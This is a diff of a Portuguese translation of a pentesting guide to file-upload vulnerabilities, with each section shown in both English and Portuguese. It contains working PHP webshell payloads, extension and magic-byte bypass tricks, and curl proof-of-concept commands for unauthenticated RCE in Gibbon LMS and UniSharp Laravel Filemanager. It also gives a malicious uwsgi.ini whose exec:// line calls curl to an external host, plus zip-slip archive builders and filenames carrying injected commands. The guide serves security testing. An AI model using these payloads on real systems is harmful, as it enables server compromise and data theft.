src/pentesting-web/file-upload/README.md
View File

@ -4,7 +4,7 @@
## Metodologia Geral de Upload de Arquivos
Other useful extensions:
Outras extensões úteis:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -15,13 +15,13 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Contornar verificações de extensão de arquivo
1. Se aplicável, verifique as **extensões anteriores**. Também teste com algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
1. Se aplicável, **verifique** as **extensões anteriores.** Também teste usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
- _file.png.php_
- _file.png.Php5_
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota: você também pode tentar usar as **extensões** mencionadas anteriormente_)
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** previamente mencionadas_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
4. Tente contornar as proteções **enganando o parser de extensão** do servidor com técnicas como **duplicação** da **extensão** ou **adição de junk** (**null** bytes) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Adicione **outra camada de extensões** ao teste anterior:
5. Adicione **outra camada de extensões** ao cheque anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer arquivo com extensão **.php**, mesmo não terminando em .php, executará código):
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão** _**.php**_**, mas** não necessariamente terminando em .php** executará código):
- _ex: file.php.png_
7. Uso do **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como utilizando seu short filename. O padrão "**::$data**" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.")
8. Tente quebrar os limites de tamanho do nome do arquivo. A extensão válida é cortada e o PHP malicioso permanece. AAA<--SNIP-->AAA.php
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Este arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto depois desse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
8. Tente quebrar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
Alguns handlers de upload removem ou normalizam caracteres de ponto finais do nome de arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versões anteriores à 2.9.1, você pode contornar a validação de extensão por:
- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
- Usar um MIME de imagem válido e header mágico correspondente (ex.: o PNG `\x89PNG\r\n\x1a\n`).
- Nomear o arquivo enviado com uma extensão PHP seguida de um ponto, por exemplo, `shell.php.`.
- O servidor remove o ponto final e persiste `shell.php`, que será executado se for colocado em um diretório servido pela web (armazenamento público padrão como `/storage/files/`).
Minimal PoC (Burp Repeater):
PoC mínimo (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Então acesse o caminho salvo (típico em Laravel + LFM):
Em seguida, acesse o caminho salvo (típico em Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
Mitigações:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Enforce strict server-side allowlists and re-validate the persisted filename.
- Serve uploads from non-executable locations.
- Implemente allowlists estritas no lado do servidor e revalide o nome de arquivo persistido.
- Sirva uploads a partir de locais não executáveis.
### Bypass Content-Type, Magic Number, Compression & Resizing
- Contorne as verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o _file_ command). Ou introduza o shell dentro dos **metadados**:\
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
`\` ou você também pode **inserir o payload diretamente** em uma imagem:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se a **compressions is being added to your image**, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. Contudo, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- A página web também pode estar **resizing** a **image**, usando por exemplo as funções do PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Porém, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Se **compressions is being added to your image**, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- Encontre uma vulnerabilidade para **rename** o arquivo já enviado (para alterar a extensão).
- Encontre uma vulnerabilidade para **rename** o arquivo já uploaded (para mudar a extensão).
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
- **Possível divulgação de informação**:
1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **folder** que **já existe**
3. Fazer upload de um arquivo com **"." , "..", or "..." como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/" directory, o nome de arquivo "." criará um arquivo chamado "uploads" em "/www/" directory.
4. Faça upload de um arquivo que pode não ser facilmente deletado, como **"...:.jpg"** em **NTFS**. (Windows)
5. Faça upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows)
6. Faça upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando for aberto acidentalmente pela vítima.
- **Possible Information disclosure**:
1. Upload **diversas vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
2. Upload um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Upload de um arquivo com **"." , "..", or "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o nome de arquivo "." criará um arquivo chamado "uploads" no diretório "/www/".
4. Upload de um arquivo que pode não ser facilmente deletado, tal como **"…:.jpg"** em **NTFS**. (Windows)
5. Upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows)
6. Upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) tais como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
### Special extension tricks
Se você está tentando enviar arquivos para um **PHP server**, [dê uma olhada no truque de **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você está tentando enviar arquivos para um **ASP server**, [dê uma olhada no truque de **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se você estiver tentando enviar arquivos para um **PHP server**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você estiver tentando enviar arquivos para um **ASP server**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **used like a php file** (executando-os com php, ou incluindo-os dentro de um script...).
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **import files**, então, em algum momento, alguém pode ter permitido **que esta extensão seja executada**.
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém poderia ter permitido **que essa extensão fosse executada**.
## **Jetty RCE**
Se você conseguir fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Então, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell!
Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Para uma exploração detalhada desta vulnerabilidade, confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Fornecendo uma exploração detalhada desta vulnerabilidade, consulte a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, foi projetado para incluir o conteúdo de um arquivo. Entre os diversos schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins nefastos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo `.ini` é processado.
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários schemes:
Considere o seguinte exemplo de um `uwsgi.ini` malicioso, demonstrando vários schemes:
```ini
[uwsgi]
; read from a symbol
@ -156,15 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
A execução do payload ocorre durante a análise do ficheiro de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o ficheiro deve ser configurado com auto-reload. A funcionalidade auto-reload, se ativada, recarrega o ficheiro em intervalos especificados ao detetar alterações.
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. A funcionalidade auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar mudanças.
É crucial compreender a natureza permissiva da análise do ficheiro de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido num ficheiro binário (como uma imagem ou PDF), ampliando ainda mais o âmbito de exploração potencial.
É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
### Gibbon LMS escrita arbitrária de arquivo para RCE pré-auth (CVE-2023-45878)
Um endpoint não autenticado no Gibbon LMS permite escrita arbitrária de arquivos dentro do web root, levando a RCE pré-auth ao enviar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (o servidor ignora type/name e decodifica em base64 a parte final)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
PoC mínimo para escrever e ler de volta um arquivo:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Enviar um webshell mínimo e executar comandos:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notas:
- O handler executa `base64_decode($_POST["img"])` após dividir por `;` e `,`, então grava os bytes em `$absolutePath . '/' . $_POST['path']` sem validar extensão/tipo.
- O código resultante é executado como o usuário do serviço web (por exemplo, XAMPP Apache on Windows).
Referências para este bug incluem o advisory do usd HeroLab e a entrada NVD. Veja a seção Referências abaixo.
## **wget File Upload/SSRF Trick**
Por vezes pode acontecer que um servidor esteja a usar o **`wget`** para **descarregar ficheiros** e você possa **indicar** a **URL**. Nestes casos, o código pode verificar que a extensão dos ficheiros descarregados está numa whitelist para assegurar que apenas ficheiros permitidos serão descarregados. Contudo, **esta verificação pode ser contornada.**\
O **comprimento máximo** de um **nome de ficheiro** em **linux** é **255**, no entanto, o **wget** trunca os nomes de ficheiros para **236** caracteres. Pode **descarregar um ficheiro chamado "A"\*232+".php"+".gif"**, este nome de ficheiro irá **contornar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o ficheiro para **"A"\*232+".php"**.
Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download files** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando que a extensão dos arquivos baixados está em uma whitelist para assegurar que apenas arquivos permitidos serão baixados. Contudo, **this check can be bypassed.**\
O **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -187,35 +226,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **HTTP server** redirecionar para um arquivo diferente, de modo que a URL inicial passe pela verificação e então o wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**.
Observe que **outra opção** que você pode estar pensando para contornar essa checagem é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passará pela verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
## Ferramentas
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar file upload mechanisms. Ela aproveita várias bug bounty techniques para simplificar o processo de identificar e explorar vulnerabilidades, garantindo avaliações completas de aplicações web.
- [Upload Bypass] é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters no teste de mecanismos de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
### Corrupting upload indices with snprintf quirks (historical)
### Corrompendo índices de upload com peculiaridades do snprintf (histórico)
Alguns handlers de upload legados que usam `snprintf()` ou similar para construir multi-file arrays a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas.
Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um single-file upload podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma estrita (por exemplo, tratando como um multi-file upload e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurgem em CTFs e em bases de código mais antigas.
## Do upload de arquivos para outras vulnerabilidades
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal**
- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir um **SQL injection**
- Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um **XSS**
- Defina **filename** para `; sleep 10;` para testar alguma **command injection** (mais [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Tente **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Tente **diferentes svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Se você pode **indicar ao web server para buscar uma imagem a partir de uma URL** você pode tentar abusar um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informação de cada visitante**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivirus**
- Verifique se existe algum **limite de tamanho** ao enviar arquivos
- PDFs especialmente craftados para XSS: A [página a seguir apresenta como **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderia preparar um PDF que execute JS arbitrário seguindo as indicações dadas.
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aqui vai uma lista top 10 de coisas que você pode alcançar fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -235,30 +274,30 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Bytes mágicos do cabeçalho
## Bytes mágicos de cabeçalho
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
## Upload ZIP/TAR descomprimido automaticamente no servidor
## Upload de arquivos Zip/Tar descomprimidos automaticamente
Se você puder fazer upload de um ZIP que será descomprimido dentro do servidor, você pode fazer 2 coisas:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Faça upload de um pacote contendo links simbólicos para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descomprimir em diferentes diretórios
### Descompactar em pastas diferentes
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia proteger contra OS-level command execution por meio de malicious file uploads, o suporte hierárquico de compressão e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia impedir a execução de comandos em nível OS-level por meio de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompactação da aplicação alvo.
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A ferramenta pode ser usada como mostrado:
Um exploit automatizado para gerar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado:
```python
# Listing available options
python2 evilarc.py -h
@ -273,6 +312,7 @@ Abaixo está um exemplo de código Python usado para criar um arquivo zip malici
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -285,11 +325,11 @@ zip.close()
create_zip()
```
**Abusar da compressão para file spraying**
**Abusando de compressão para file spraying**
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Criando um shell PHP**: Código PHP que executa comandos passados pela variável `$_REQUEST`.
1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
```php
<?php
@ -306,17 +346,17 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modificação com um hex editor ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, mudando "xxA" para "../" para atravessar diretórios.
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando "xxA" por "../" para percorrer diretórios.
```bash
:set modifiable
:%s/xxA/..\//g
